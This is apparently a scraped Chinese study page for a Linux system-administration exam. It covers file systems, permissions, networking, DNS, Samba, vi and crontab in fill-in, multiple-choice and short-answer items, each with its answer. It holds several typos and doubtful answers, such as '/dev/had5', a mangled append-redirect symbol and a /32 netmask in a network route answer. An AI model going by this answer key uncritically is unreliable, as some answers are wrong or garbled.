检查已安装的文件系统/dev/had5是否正常，若检查有错，则自动修复，其命令及参数是<strong>fsck &#8211;a /dev/had</strong>5 。<br />57. 在Windows9.x环境下共享Unix/Linux中的用户目录的一个工具是<strong>Samba</strong>服务器 。<br />58. 系统管理员的职责是进行系统资源管理、系统性能管理、设备管理、安全管理和<strong>系统性能监测</strong>。<br />59 在Linux系统中，测试DNS服务器是否能够正确<a href="javascript.:;" target="_self" nclick="javascript.:tagshow(event, '%BD%E2%CE%F6');" style="text-decoration: none; color: #63401b; "><u><strong>解析</strong></u></a>域名的的客户端命令，使用命令<strong>nslookup</strong>。<br />60. 在Linux系统下，第二个IDE通道的硬盘（从盘）被标识为<strong>hdb</strong>。<br />61. 当系统管理员需升级内核版本和改变系统硬件配置时，应<strong>重新编译内核</strong>。<br />62. 如果只是要修改系统的IP地址，应修改<strong>/etc/rc.d/rc.inet1</strong>配置文件。<br />63. 当LAN内没有条件建立DNS服务器，但又想让局域网内的用户可以使用计算机名互相访问时，应配置<strong>/etc/hosts</strong>文件。<br />64. 在vi编辑环境下，使用<strong>Esc键</strong>进行模式转换。<br />65. Slackware Linux 9.0通常使用<strong>ext3</strong>文件系统，系统的全部磁盘块由<strong>四</strong>部分组成。<br />66. 将/home/stud1/wang目录做归档压缩，压缩后生成wang.tar.gz文件，并将此文件保存到/home目录下，实现此任务的tar命令格式<strong>tar zcvf /home/wang.tar.gz /home/stud1/wang</strong>。<br />67. 管道就是将前一个命令的 标准输出 作为后一个命令的<strong>标准输入</strong>。<br />68. 在使用手工的方法配置网络时，可通过修改<strong>/etc/HOSTNAME</strong>文件来改变主机名，若要配置该计算机的域名解析客户端，需配置<strong>/etc/resolv.conf</strong>文件。<br />69. 启动进程有手动启动和调度启动两种方法，其中调度启动常用的命令为 at 、 batch 和 crontab。<br />70. test.bns.com.cn的域名是<strong>bns.com.cn</strong>，如果要配置一域名服务器，应在<strong>named.conf</strong>文件中定义DNS数据库的工作目录。<br />71. Sendmail邮件系统使用的两个主要协议是：<strong>SMTP 和 POP</strong>，前者用来发送邮件,后者用来接收邮件。<br />72. DHCP是动态主机配置协议的简称，其作用是：<strong>为网络中的主机分配IP地址</strong>。<br />73. 目前代理服务器使用的软件包有很多种，教材中使用的是<strong>squid</strong>。<br />74. rm命令可删除文件或目录，其主要差别就是是否使用递归开关<strong>-r或-R</strong>。<br />75.<strong>mv</strong>命令可以移动文件和目录，还可以为文件和目录重新命名。<br />76. 路由<a href="javascript.:;" target="_self" nclick="javascript.:tagshow(event, '%D1%A1%D4%F1');" style="text-decoration: none; color: #63401b; "><u><strong>选择</strong></u></a>协议（RIP）的跳数表示到达目的地之前必须通过的<strong>网关</strong>数，RIP接受的最长距离是<strong>15跳</strong>。<br />77. ping命令用于测试网络的连通性，ping命令通过<strong>ICMP</strong>协议（internet控制信息协议）来实现。<br />78.<strong>nfs 协议</strong>用于实现<a href="javascript.:;" target="_self" nclick="javascript.:tagshow(event, 'Unix');" style="text-decoration: none; color: #63401b; "><u><strong></strong></u></a><u><strong><a href="http://blog.chinaunix.net/uid-20543256-id-1930715.html" target="_self" style="text-decoration: none; color: #63401b; "><u><strong>Unix</strong></u></a></strong></u>（/linux）主机之间的文件系统共享。<br />79. 在Linux操作系统中，设备都是通过特殊的<strong>文件</strong>来访问。<br />80. shell不仅是<strong>用户命令的解释器</strong>，它同时也是一种功能强大的编程语言。 bash是Linux的缺省shell。<br />81. 用<strong>&gt;;&gt;;</strong>符号将输出重定向内容附加在原文的后面。<br />82. 增加一个用户的命令是：<strong>adduser 或useradd</strong>。<br />83 进行字符串查找，使用<strong>grep</strong>命令。<br />84. 使用<strong>*</strong>每次匹配若干个字符。<br />85.<strong>/sbin</strong>目录用来存放系统管理员使用的管理程序。</p><p style="margin: 0px; padding: 5px 0px 0px; line-height: 1.5; font-size: 14px; font-family: 宋体, Arial; background-color: #f5f7f8; ">二．单项选择题:<br />1. 下面的网络协议中，面向连接的的协议是： A 。<br />A 传输控制协议 B 用户数据报协议 C 网际协议 D 网际控制报文协议<br />2. 在/etc/fstab文件中指定的文件系统加载参数中，D参数一般用于CD-ROM等移动设备。<br />A defaults B sw C rw和ro D noauto<br />3. Linux文件权限一共10位长度，分成四段，第三段表示的内容是 C 。<br />A 文件类型 B 文件所有者的权限<br />C 文件所有者所在组的权限 D 其他用户的权限<br />4. 终止一个前台进程可能用到的命令和操作 B 。<br />A kill B &lt;CTRL&gt;;+C C shut down D halt<br />5．在使用mkdir命令创建新的目录时，在其父目录不存在时先创建父目录的选项是 D 。<br />A -m B -d C -f D -p<br />6. 下面关于i节点描述错误的是 A<strong>。（inode是一种数据结构，vfs中描述文件的相关参数？？）<br /></strong>A i节点和文件是一一对应的<br />B i节点能描述文件占用的块数<br />C i节点描述了文件大小和指向数据块的指针<br />D 通过i节点实现文件的逻辑结构和物理结构的转换<br />7. 一个文件名字为rr.Z，可以用来解压缩的命令是： D 。<br />A tar B gzip C compress D uncompress<br />8. 具有很多C语言的功能，又称过滤器的是 C 。<br />A csh<br />B tcsh<br /><strong>C awk</strong>　　（<a href="http://www.itisedu.com/phrase/200603021801255.html" target="_blank" style="text-decoration: none; color: #63401b; ">awk详解</a>）<br />D sed<br />9. 一台主机要实现通过局域网与另一个局域网通信，需要做的工作是 C 。</p><p style="margin: 0px; padding: 5px 0px 0px; line-height: 1.5; font-size: 14px; font-family: 宋体, Arial; background-color: #f5f7f8; ">A 配置域名服务器<br />B 定义一条本机指向所在网络的路由<br /><u>C 定义一条本机指向所在网络网关的路由<br /></u>D 定义一条本机指向目标网络网关的路由<br />10. 建立动态路由需要用到的文件有 D。<br />A /etc/hosts B /etc/HOSTNAME C /etc/resolv.conf D /etc/gateways<br />11. 局域网的网络地址192.168.1.0/24，局域网络连接其它网络的网关地址是192.168.1.1。主机192.168.1.20访问172.16.1.0/24网络时，其路由设置正确的是 B。<br />A route add &#8211;net 192.168.1.0 gw 192.168.1.1 netmask 255.255.255.0 metric 1<br />B route add &#8211;net 172.16.1.0 gw 192.168.1.1 netmask 255.255.255.255 metric 1<br />C route add &#8211;net 172.16.1.0 gw 172.16.1.1 netmask 255.255.255.0 metric 1<br />D route add default 192.168.1.0 netmask 172.168.1.1 metric 1<br />12. 下列提法中，不属于ifconfig命令作用范围的是 D 。<br />A 配置本地回环地址 B 配置网卡的IP地址<br />C 激活网络适配器 D 加载网卡到内核中<br />13. 下列关于链接描述，错误的是 B 。<br />A 硬链接就是让链接文件的i节点号指向被链接文件的i节点<br />B 硬链接和符号连接都是产生一个新的i节点<br />C 链接分为硬链接和符号链接 D 硬连接不能链接目录文件<br />14. 在局域网络内的某台主机用ping命令测试网络连接时发现网络内部的主机都可以连同，而不能与公网连通，问题可能是 C。<br />A 主机IP设置有误<br />B 没有设置连接局域网的网关<br />C 局域网的网关或主机的网关设置有误<br />D 局域网DNS服务器设置有误<br />15. 下列文件中，包含了主机名到IP地址的映射关系的文件是： B 。<br />A /etc/HOSTNAME B /etc/hosts C /etc/resolv.conf D /etc/networks<br />16. 不需要编译内核的情况是 D 。<br />A 删除系统不用的设备驱动程序时 B 升级内核时<br />C 添加新硬件时 D 将网卡激活<br />17. 在shell中变量的赋值有四种方法，其中，采用name=12的方法称 A 。<br />A 直接赋值 B使用read命令<br />C 使用命令行参数 D使用命令的输出<br />18. D 命令可以从文本文件的每一行中截取指定内容的数据。<br />A cp B dd C fmt D cut<br />19. 下列不是Linux系统进程类型的是 D 。<br />A 交互进程 B 批处理进程 C 守护进程 D 就绪进程（进程状态）<br />20．配置Apache 1.3.19服务器需要修改的配置文件为___A______<br />A httpd.conf B access.conf C srm.conf D named.conf<br />21. 内核不包括的子系统是 D 。<br />A 进程管理系统 B 内存管理系统 C I/O管理系统 D硬件管理系统<br />22． 在日常管理中，通常CPU会影响系统性能的情况是： A 。<br />A CPU已满负荷地运转 B CPU的运行效率为30%<br />C CPU的运行效率为50% D CPU的运行效率为80%<br />23． 若一台计算机的内存为128MB，则交换分区的大小通常是 C 。<br />A 64MB B 128MB C 256MB D 512MB<br />24． 在安装Linux的过程中的第五步是让用户选择安装方式，如果用户希望安装部分组件（软件程序），并在选择好后让系统自动安装，应该选择的选项是 D 。<br />A full B expert C newbie D menu<br />25． Linux有三个查看文件的命令，若希望在查看文件内容过程中可以用光标上下移动来查看文件内容，应使用 C 命令。<br />A cat B more C less D menu<br />26． 下列信息是某系统用ps &#8211;ef命令列出的正在运行的进程， D 进程是运行Internet超级服务器，它负责监听Internet sockets上的连接，并调用合适的服务器来处理接收的信息。<br />A root 1 4.0 0.0 344 204? S 17:09 0:00 init<br />B root 2 0.0 0.1 2916 1520? S 17:09 0:00 /sbin/getty<br />C root 3 0.0 0.2 1364 632? S 17:09 0:00 /usr/sbin/syslogd<br />D root 4 0.0 1344 1204? S 17:09 0:10 /usr/sbin/inetd<br />27．在TCP/IP模型中，应用层包含了所有的高层协议，在下列的一些应用协议中， B 是能够实现本地与远程主机之间的文件传输工作。<br />A telnet B FTP C SNMP D NFS<br />28．当我们与某远程网络连接不上时，就需要跟踪路由查看，以便了解在网络的什么位置出现了问题，满足该目的的命令是 C 。<br />A ping B ifconfig C traceroute D netstat<br />29．对名为fido的文件用chmod 551 fido 进行了修改，则它的许可权是 D 。<br />A -rwxr-xr-x B -rwxr--r-- C -r--r--r-- D -r-xr-x&#8212;x<br />30． 在i节点表中的磁盘地址表中，若一个文件的长度是从磁盘地址表的第1块到第11块，则该文件共占有 B 块号。<br />A 256 B 266 C 11 D 256&#215;10<br /><strong>(??)</strong>31． 用ls &#8211;al 命令列出下面的文件列表， D 文件是符号连接文件。<br />A -rw-rw-rw- 2 hel-s users 56 Sep 09 11:05 hello<br />B -rwxrwxrwx 2 hel-s users 56 Sep 09 11:05 goodbey<br />C drwxr--r-- 1 hel users 1024 Sep 10 08:10 zhang</p><p style="margin: 0px; padding: 5px 0px 0px; line-height: 1.5; font-size: 14px; font-family: 宋体, Arial; background-color: #f5f7f8; ">Dlrwxr--r-- 1 hel users 2024 Sep 12 08:12 cheng<br />32． DNS域名系统主要负责主机名和 A 之间的解析。<br />A IP地址 B MAC地址 C 网络地址 D 主机别名<br />33． WWW服务器是在Internet上使用最为广泛，它采用的是 B 结构。<br />A 服务器/工作站 BB/SC 集中式 D 分布式<br />34．Linux系统通过 C 命令给其他用户发消息。<br />A less B mesg y C write D echo to</p><p style="margin: 0px; padding: 5px 0px 0px; line-height: 1.5; font-size: 14px; font-family: 宋体, Arial; background-color: #f5f7f8; ">[ 注：mesg [y|n] 所有使用者 决定是否允许其他人传讯息到自己的终端机介面 ]<br /><br /><br />35．NFS是 C 系统。<br />A 文件 B 磁盘 C 网络文件 D 操作<br />36． B 命令可以在Linux的安全系统中完成文件向磁带备份的工作。<br />A cp BtrC dir D cpio</p><p style="margin: 0px; padding: 5px 0px 0px; line-height: 1.5; font-size: 14px; font-family: 宋体, Arial; background-color: #f5f7f8; ">[注：如果用 echo $PATH 或者 echo $LD_LIBRARY_PATH 等类似的命令来显示路径信息的话，我们看到的将会是一大堆用冒号连接在一起的路径， tr 命令可以把这些冒号转换为回车，这样，这些路径就具有很好的可读性了：<br />echo $PATH | tr ":" "\n"]<br />37．Linux文件系统的文件都按其作用分门别类地放在相关的目录中，对于外部设备文件，一般应将其放在 C 目录中。<br />A /bin B /etc C /dev D /lib<br />38．在重新启动Linux系统的同时把内存中的信息写入硬盘，应使用 D 命令实现。<br />A # reboot B # halt C # reboot D # shutdown &#8211;r now<br />39．网络管理具备以下几大功能：配置管理、 A 、性能管理、安全管理和计费管理等。<br />A<a href="javascript.:;" target="_self" nclick="javascript.:tagshow(event, '%B9%CA%D5%CF');" style="text-decoration: none; color: #63401b; "><u><strong></strong></u></a><u><strong><a href="http://blog.chinaunix.net/uid-20543256-id-1930715.html" target="_self" style="text-decoration: none; color: #63401b; "><u><strong>故障</strong></u></a></strong></u>管理 B 日常备份管理 C 升级管理 D 发送邮件<br />40．关于代理服务器的论述，正确的是 A 。<br />A 使用internet上已有的公开代理服务器，只需配置客户端。<br />B 代理服务器只能代理客户端http的请求。<br />C 设置好的代理服务器可以被网络上任何主机使用。<br />D 使用代理服务器的客户端没有自己的ip地址。<br />41.关闭linux系统（不重新启动）可使用命令 B 。<br />A Ctrl+Alt+Del B halt C shutdown -r now D reboot<br />42．实现从IP地址到以太网MAC地址转换的命令为： C 。<br />A ping B ifconfig CarpD traceroute<br />43．在vi编辑器中的命令模式下，键入 B 可在光标当前所在行下添加一新行。<br />A &lt;a&gt;; B &lt;o&gt;; C &lt;I&gt;; D A<br />44．在vi编辑器中的命令模式下，删除当前光标处的字符使用 A 命令。<br />A &lt;x&gt;; B &lt;d&gt;;&lt;w&gt;; C &lt;D&gt;; D &lt;d&gt;;&lt;d&gt;;<br />45．在vi编辑器中的命令模式下，重复上一次对编辑的文本进行的操作，可使用 C 命令。<br />A 上箭头 B 下箭头C &lt;.&gt;;D &lt;*&gt;;<br />46．用命令ls -al显示出文件ff的描述如下所示，由此可知文件ff的类型为 A 。<br />-rwxr-xr-- 1 root root 599 Cec 10 17:12 ff<br />A 普通文件 B 硬链接 C 目录 D 符号链接<br />47．删除文件命令为： D 。<br />A mkdir B rmdir C mv D rm<br />48．在下列的名称中，不属于DNS服务器类型的是：____C_____<br />A Primary Master Server B Secondary Master Server<br />C samba D Cache_only Server<br />49．网络管理员对WWW服务器进行访问、控制存取和运行等控制，这些控制可在 A 文件中体现。<br />A httpd.conf B lilo.conf C inetd.conf D resolv.conf<br />50．邮件转发代理也称邮件转发服务器，它可以使用SMTP协议，也可以使用 C 协议。<br />A FTP B<a href="javascript.:;" target="_self" nclick="javascript.:tagshow(event, 'TCP');" style="text-decoration: none; color: #63401b; "><u><strong></strong></u></a><u><strong><a href="http://blog.chinaunix.net/uid-20543256-id-1930715.html" target="_self" style="text-decoration: none; color: #63401b; "><u><strong>TCP</strong></u></a></strong></u>C UUCP D POP<br />51．启动samba服务器进程，可以有两种方式：独立启动方式和父进程启动方式，其中前者是在 C 文件中以独立进程方式启动。<br />A /usr/sbin/smbd B /usr/sbin/nmbd C<u>rc.samba</u>D /etc/inetd.conf<br />52．DHCP是动态主机配置协议的简称，其作用是可以使网络管理员通过一台服务器来管理一个网络系统，自动地为一个网络中的主机分配___D______地址。<br />A 网络 B MAC C TCP D IP<br />53．为了保证在启动服务器时自动启动DHCP进程，应将 A文件中的dhcpd=no改为dhcpd=yes。<br />A<u>rc.inet1</u>B lilo.conf C inetd.conf D httpd.conf</p><p style="margin: 0px; padding: 5px 0px 0px; line-height: 1.5; font-size: 14px; font-family: 宋体, Arial; background-color: #f5f7f8; ">[注：<span style="line-height: 1.5; ">英文原义：RC</span></p><p style="margin: 0px; padding: 5px 0px 0px; line-height: 1.5; font-size: 14px; font-family: 宋体, Arial; background-color: #f5f7f8; "><span style="line-height: 1.5; ">中文释义：含有程序（应用程序甚至操作系统）启动指令的脚本文件</span></p><p style="margin: 0px; padding: 5px 0px 0px; line-height: 1.5; font-size: 14px; font-family: 宋体, Arial; background-color: #f5f7f8; ">注解：这一文件在操作系统启动时会自动执行，它含有要运行的指令（命令或其它脚本）列表。]</p><p style="margin: 0px; padding: 5px 0px 0px; line-height: 1.5; font-size: 14px; font-family: 宋体, Arial; background-color: #f5f7f8; "><br />54．对文件进行归档的命令为 D 。<br />A dd B cpio C gzip D tar<br />55．改变文件所有者的命令为 C 。<br />A chmod B touch C chown D cat<br />56．在给定文件中查找与设定条件相符字符串的命令为： A 。<br />A grep B gzip C find D sort<br />57．建立一个新文件可以使用的命令为 D 。<br />A chmod B more C cp D<u>touch</u>(指令改变档案的时间记录。)<br />58．在下列命令中，不能显示文本文件内容的命令是： D 。<br />A more B less C tail D join<br />59．在使用匿名登录ftp时，用户名为 B 。<br />A users B anonymous C root D guest<br />60．在实际操作中，想了解命令logname 的用法，可以键入 D 得到帮助。<br />A logname --man B logname/？ C help logname D logname --help<br />61．如果LILO被安装在MBR，使用 A 命令即可卸载LILO。<br />A lilo &#8211;u B lilo &#8211;c C lilo &#8211;v D lilo -V<br />62．当用命令ls &#8211;al查看文件和目录时，欲观看卷过屏幕的内容，应使用组合键 D 。<br />A Shift+Home B Ctrl+ PgUp C Alt+ PgDn D Shift+ PgUp<br />63．mc是UNIX风格操作系统的 C 。<br />A 文件编辑器/程序编译器 B 配置网络的窗口工具<br />C 目录浏览器/文件管理器 D Samba服务器管理工具<br />64．<u>i节点是一个 D 长的表</u>，表中包含了文件的相关信息。</p><p style="margin: 0px; padding: 5px 0px 0px; line-height: 1.5; font-size: 14px; font-family: 宋体, Arial; background-color: #f5f7f8; ">A 8字节 B 16字节 C 32字节 D 64字节<br />65．文件权限读、写、执行的三种标志符号依次是 A 。<br />A rwx B xrw C rdx D srw<br />66．<u>Linux 文件名的长度不得超过 C 个字符。<br /></u>A 64 B 128 C 256 D 512<br />67．进程有三种状态： C 。<br />A 准备态、执行态和退出态 B 精确态、模糊态和随机态<br />C 运行态、就绪态和等待态 D 手工态、自动态和自由态<br />68． 从后台启动进程，应在命令的结尾加上符号 A 。<br />A &amp; B @ C # D $<br />69． B 不是邮件系统的组成部分。<br />A 用户代理<u>B 代理服务器</u>C 传输代理 D 投递代理<br />70．在Shell脚本中，用来读取文件内各个域的内容并将其赋值给Shell变量的命令是 D 。<br />A fold B join C tr D read<br />71．crontab文件由六个域组成，每个域之间用空格分割，其排列如下： B 。<br />A MIN HOUR DAY MONTH YEAR COMMAND<br />B MIN HOUR DAY MONTH DAYOFWEEK COMMAND<br />C COMMAND HOUR DAY MONTH DAYOFWEEK<br />D COMMAND YEAR MONTH DAY HOUR MIN</p><p style="margin: 0px; padding: 5px 0px 0px; line-height: 1.5; font-size: 14px; font-family: 宋体, Arial; background-color: #f5f7f8; ">crontab命令：实现程序定时运行</p><p style="margin: 0px; padding: 5px 0px 0px; line-height: 1.5; font-size: 14px; font-family: 宋体, Arial; background-color: #f5f7f8; "><br />72．用ftp进行文件传输时，有两种模式： C 。<br />A Word和binary B .txt和Word Document<br />C ASCII和binary D ASCII和Rich Text Format<br />73．某文件的组外成员的权限为只读；所有者有全部权限；组内的权限为读与写，则该文件的权限为 D 。<br />A 467 B 674 C 476 D 764<br />74．在DNS系统测试时，设named进程号是53，命令 D 通知进程重读配置文件。<br />A kill &#8211;USR2 53 B kill &#8211;USR1 53 C kill -INT 63 D kill &#8211;HUP 53<br />75．Apache服务器默认的接听连接端口号是 C 。<br />A 1024 B 800 C 80 (http)D 8<br />76．<a href="http://blog.chinaunix.net/uid-20543256-id-1930715.html" target="_self" style="text-decoration: none; color: #63401b; "><u><strong>PHP</strong></u></a>和<a href="javascript.:;" target="_self" nclick="javascript.:tagshow(event, 'MySQL');" style="text-decoration: none; color: #63401b; "><u><strong></strong></u></a><u><strong><a href="http://blog.chinaunix.net/uid-20543256-id-1930715.html" target="_self" style="text-decoration: none; color: #63401b; "><u><strong>MySQL</strong></u></a></strong></u>的联合使用<a href="javascript.:;" target="_self" nclick="javascript.:tagshow(event, '%BD%E2%BE%F6');" style="text-decoration: none; color: #63401b; "><u><strong></strong></u></a><u><strong><a href="http://blog.chinaunix.net/uid-20543256-id-1930715.html" target="_self" style="text-decoration: none; color: #63401b; "><u><strong>解决</strong></u></a></strong></u>了 C 。<br />A 在Proxy上处理数据库的访问问题 B 在WWW服务器上处理黑客的非法访问问题<br />C 在WWW服务器上处理数据库的访问问题<br />D 在Sendmail邮件系统上处理数据库的访问问题<br />77．OpenSSL是一个 A 。<br />A 加密软件 B 邮件系统 C 数据库管理系统 D 嵌入式脚本编程语言<br />78．Samba服务器的配置文件是 D 。<br />A httpd.conf B inetd.conf C rc.samba D smb.conf<br />79．关于DNS服务器，叙述正确的是 D 。<br />A DNS服务器配置不需要配置客户端<br />B 建立某个分区的DNS服务器时只需要建立一个主DNS服务器<br />C 主DNS服务器需要启动named进程，而辅DNS服务器不需要<br />D DNS服务器的root.cache文件包含了根名字服务器的有关信息<br />80．退出交互模式的shell，应键入 C 。<br />A &lt;Esc&gt;; B ^q C exit D quit<br />81．将Windows C:盘(hda1)安装在Linux文件系统的/winsys目录下，命令是 B 。<br />A<a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#114;&#111;&#111;&#116;&#64;&#108;&#48;&#52;&#46;&#101;&#100;&#117;&#46;&#99;&#110;&#58;&#126;&#35;&#109;&#111;&#117;&#110;&#116;" style="text-decoration: none; color: #63401b; ">root@l04.edu.cn:~#mount</a>dev/had1 /winsys<br />B<a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#114;&#111;&#111;&#116;&#64;&#108;&#48;&#52;&#46;&#101;&#100;&#117;&#46;&#99;&#110;&#58;&#126;&#35;&#109;&#111;&#117;&#110;&#116;" style="text-decoration: none; color: #63401b; ">root@l04.edu.cn:~#mount</a>/dev/had1 /winsys<br />C<a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#114;&#111;&#111;&#116;&#64;&#108;&#48;&#52;&#46;&#101;&#100;&#117;&#46;&#99;&#110;&#58;&#126;&#35;&#109;&#111;&#117;&#110;&#116;" style="text-decoration: none; color: #63401b; ">root@l04.edu.cn:~#mount</a>/dev/had1 winsys<br />D<a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#114;&#111;&#111;&#116;&#64;&#108;&#48;&#52;&#46;&#101;&#100;&#117;&#46;&#99;&#110;&#58;&#126;&#35;&#109;&#111;&#117;&#110;&#116;" style="text-decoration: none; color: #63401b; ">root@l04.edu.cn:~#mount</a>dev/had1 winsys<br />82．设超级用户root当前所在目录为：/usr/local，键入cd命令后，用户当前所在目录为 B 。<br />A /home B /root C /home/root D /usr/local<br />83．字符设备文件类型的标志是 B 。<br />A p B c C s D l<br />84．将光盘CD-ROM（hdc）安装到文件系统的/mnt/cdrom目录下的命令是 C 。<br />A mount /mnt/cdrom B mount /mnt/cdrom /dev/hdc<br /><u>C mount /dev/hdc /mnt/cdrom</u>D mount /dev/hdc<br />85．将光盘/dev/hdc卸载的命令是 C 。<br />A umount /dev/hdc B unmount /dev/hdc<br />C umount /mnt/cdrom /dev/hdc D unmount /mnt/cdrom /dev/hdc<br />86．在/home/stud1/wang目录下有一文件file，使用 D 可实现在后台执行命令，此命令将file文件中的内容输出到file.copy文件中。<br />A cat file &gt;;file.copy B cat &gt;;file.copy C cat file file.copy &amp; D cat file &gt;;file.copy &amp;<br />87．在DNS配置文件中，用于表示某主机别名的是： B 。<br />A NS B CNAME C NAME D CN<br />88．可以完成主机名与IP地址的正向解析和反向解析任务的命令是： A 。<br />A<u>nslookup</u>B arp C ifconfig D dnslook<br />89．下列变量名中有效的shell变量名是： C 。<br />A -2-time B _2$3 C trust_no_1 D 2004file<br />90．qmail是 B 。<br />A 收取邮件的协议 B 邮件服务器的一种 C 发送邮件的协议 D 邮件队列<br />92．已知某用户stud1，其用户目录为/home/stud1。分页显示当前目录下的所有文件的文件或目录名、用户组、用户、文件大小、文件或目录权限、文件创建时间等信息的命令是 D 。<br />A more ls &#8211;al B more &#8211;al ls C more &lt; ls &#8211;al D ls &#8211;al | more<br />93．关于进程调度命令， B 是不正确的。at--定期执行程序的调度命令<br />A 当日晚11点执行clear命令，使用at命令：at 23:00 today clear</p><p style="margin: 0px; padding: 5px 0px 0px; line-height: 1.5; font-size: 14px; font-family: 宋体, Arial; background-color: #f5f7f8; ">B 每年1月1日早上6点执行date命令，使用at命令：at 6am Jan 1 date<br />C 每日晚11点执行date命令，crontab文件中应为：0 23 * * * date<br />D 每小时执行一次clear命令，crontab文件中应为：0 */1 * * * clear<br />94．系统中有用户user1和user2，同属于users组。在user1用户目录下有一文件file1，它拥有644的权限，如果user2用户想修改user1用户目录下的file1文件，应拥有 B 权限。<br />A 744 B 664 C 646 D 746<br />??95．如果想配置一台匿名ftp服务器，应修改 C 文件。<br />A /etc/gateway B /etc/ftpservers C /etc/ftpusers D /etc/inetd.conf<br />96．Samba服务器的进程由B 两部分组成 。<br />A named和sendmail B<u>smbd和nmbd</u>C bootp和dhcpd D httpd和squid<br />97．要配置NFS服务器，在服务器端主要配置 C 文件。<br />A /etc/rc.d/rc.inet1 B /etc/rc.d/rc.M<u>C /etc/exports</u>D /etc/rc.d/rc.S<br />98．为保证在启动服务器时自动启动DHCP进程，应对 B 文件进行编辑。<br />A /etc/rc.d/rc.inet2<u>B /etc/rc.d/rc.inet1</u>C /etc/dhcpd.conf D /etc/rc.d/rc.S<br />99．在配置代理服务器时，若设置代理服务器的工作缓存为64MB，配置行应为 D 。<br />A cache 64MB B cache_dir ufs /usr/local/squid/cache 10000 16 256<br />C cache_ mgr 64MB D<u>cache_ mem 64MB</u><br />100．安全管理涉及的问题包括保证网络管理工作可靠进行的安全问题和保护网络用户及网络管理对象问题。 C 属于安全管理的内容。<br />A 配置设备的工作参数 B 收集与网络性能有关的数据<br />C 控制和维护访问权限 D 监测故障<br />101．以下命令对中，正确的是： B 。<br />A ls和sl B cat和tac C more和erom D exit和tixe</p><p style="margin: 0px; padding: 5px 0px 0px; line-height: 1.5; font-size: 14px; font-family: 宋体, Arial; background-color: #f5f7f8; "><u>cat是显示文件夹的命令，这个大家都知道，tac是cat的倒写，意思也和它是相反的。cat是从第一行显示到最后一行，而tac是从最后一行显示到第一行，而rev 则是从最后一个字符显示到第一个字符</u></p><p style="margin: 0px; padding: 5px 0px 0px; line-height: 1.5; font-size: 14px; font-family: 宋体, Arial; background-color: #f5f7f8; "><br />102． B 命令是在vi编辑器中执行存盘退出。<br />A :q BZZC :q! D :WQ<br />103．下列关于/etc/fstab文件描述，正确的是 D 。<br />A fstab文件只能描述属于linux的文件系统 B CD_ROM和软盘必须是自动加载的<br />C fstab文件中描述的文件系统不能被卸载 D 启动时按fstab文件描述内容加载文件系统<br />104．通过文件名存取文件时，文件系统内部的操作过程是通过 C 。<br />A 文件在目录中查找文件数据存取位置。B 文件名直接找到文件的数据，进行存取操作。<br /><u>C 文件名在目录中查找对应的I节点，通过I节点存取文件数据。</u><br />D 文件名在中查找对应的超级块，在超级块查找对应i节点，通过i节点存取文件数据<br />105．Linux将存储设备和输入/输出设备均看做文件来操作， C 不是以文件的形式出现。<br />A 目录 B 软链接 C i节点表 D 网络适配器<br />106．关于i节点和超级块，下列论述不正确的是 B 。<br />A i节点是一个长度固定的表 B 超级块在文件系统的个数是唯一的<br />C i节点包含了描述一个文件所必需的全部信息<br />D 超级块记录了i节点表和空闲块表信息在磁盘中存放的位置<br />107． D 设备是字符设备。<br />A hdc B fd0 C hda1 D tty1(A,B,C为块设备)<br />108． B 目录存放着Linux的源代码。<br />A /etc B /usr/src C /usr D /home<br />109．关于文件系统的安装和卸载，下面描述正确的是 A 。<br />A 如果光盘未经卸载，光驱是打不开的 B 安装文件系统的安装点只能是/mnt下<br />C 不管光驱中是否有光盘，系统都可以安装CD-ROM设备<br />D mount /dev/fd0 /floppy 此命令中目录/floppy是自动生成的<br />110． B 不是进程和程序的区别。<br />A 程序是一组有序的静态指令，进程是一次程序的执行过程<br />B 程序只能在前台运行，而进程可以在前台或后台运行<br />C 程序可以长期保存，进程是暂时的<br />D 程序没有状态，而进程是有状态的<br />111．文件exer1的访问权限为rw-r--r--，现要增加所有用户的执行权限和同组用户的写权限，下列命令正确的是 A 。<br /><u>A chmod a+x g+w exer1</u>B chmod 765 exer1<br />C chmod o+x exer1 D chmod g+w exer1<br />112．有关归档和压缩命令，下面描述正确的是 C 。<br />A 用uncompress命令解压缩由compress命令生成的后缀为.zip的压缩文件<br />B unzip命令和gzip命令可以解压缩相同类型的文件<br />C tar归档且压缩的文件可以由gzip命令解压缩<br />D tar命令归档后的文件也是一种压缩文件<br />113．不是shell具有的功能和特点的是 C 。<br />A 管道 B 输入输出重定向 C 执行后台进程 D 处理程序命令<br />114．下列对shell变量FRUIT操作，正确的是： C 。<br />A 为变量赋值：$FRUIT=apple B 显示变量的值：fruit=apple<br />C 显示变量的值：echo $FRUIT D 判断变量是否有值：[ -f &#8220;$FRUIT&#8221; ]<br />三．简答题：<br />1．简述Linux文件系统通过i节点把文件的逻辑结构和物理结构转换的工作过程。<br />参考答案：<br />Linux通过i节点表将文件的逻辑结构和物理结构进行转换。<br />i 节点是一个64字节长的表，表中包含了文件的相关信息，其中有文件的大小、文件所有者、文件的存取许可方式以及文件的类型等重要信息。在i节点表中最重要 的内容是磁盘地址表。在磁盘地址表中有13个块号，文件将以块号在磁盘地址表中出现的顺序依次读取相应的块。Linux文件系统通过把i节点和文件名进行 连接，当需要读取该文件时，文件系统在当前目录表中查找该文件名对应的项，由此得到该文件相对应的i节点号，通过该i节点的磁盘地址表把分散存放的文件物 理块连接成文件的逻辑结构。</p><p style="margin: 0px; padding: 5px 0px 0px; line-height: 1.5; font-size: 14px; font-family: 宋体, Arial; background-color: #f5f7f8; ">2．简述进程的启动、终止的方式以及如何进行进程的查看。<br />参考答案：<br />在Linux中启动一个进程有手工启动和调度启动两种方式：<br />（1）手工启动<br />用户在输入端发出命令，直接启动一个进程的启动方式。可以分为：<br />&#9312;前台启动：直接在SHELL中输入命令进行启动。<br />&#9313;后台启动：启动一个目前并不紧急的进程，如打印进程。<br />（2）调度启动<br />系统管理员根据系统资源和进程占用资源的情况，事先进行调度安排，指定任务运行的时间和场合，到时候系统会自动完成该任务。<br />经常使用的进程调度命令为：at、batch、crontab。<br />3. 简述DNS进行域名解析的过程。<br />参考答案：<br />首先，客户端发出DNS请求翻译IP地址或主机名。DNS服务器在收到客户机的请求后：<br />（1）检查DNS服务器的缓存，若查到请求的地址或名字，即向客户机发出应答信息；<br />（2）若没有查到，则在数据库中查找，若查到请求的地址或名字，即向客户机发出应答信息；<br 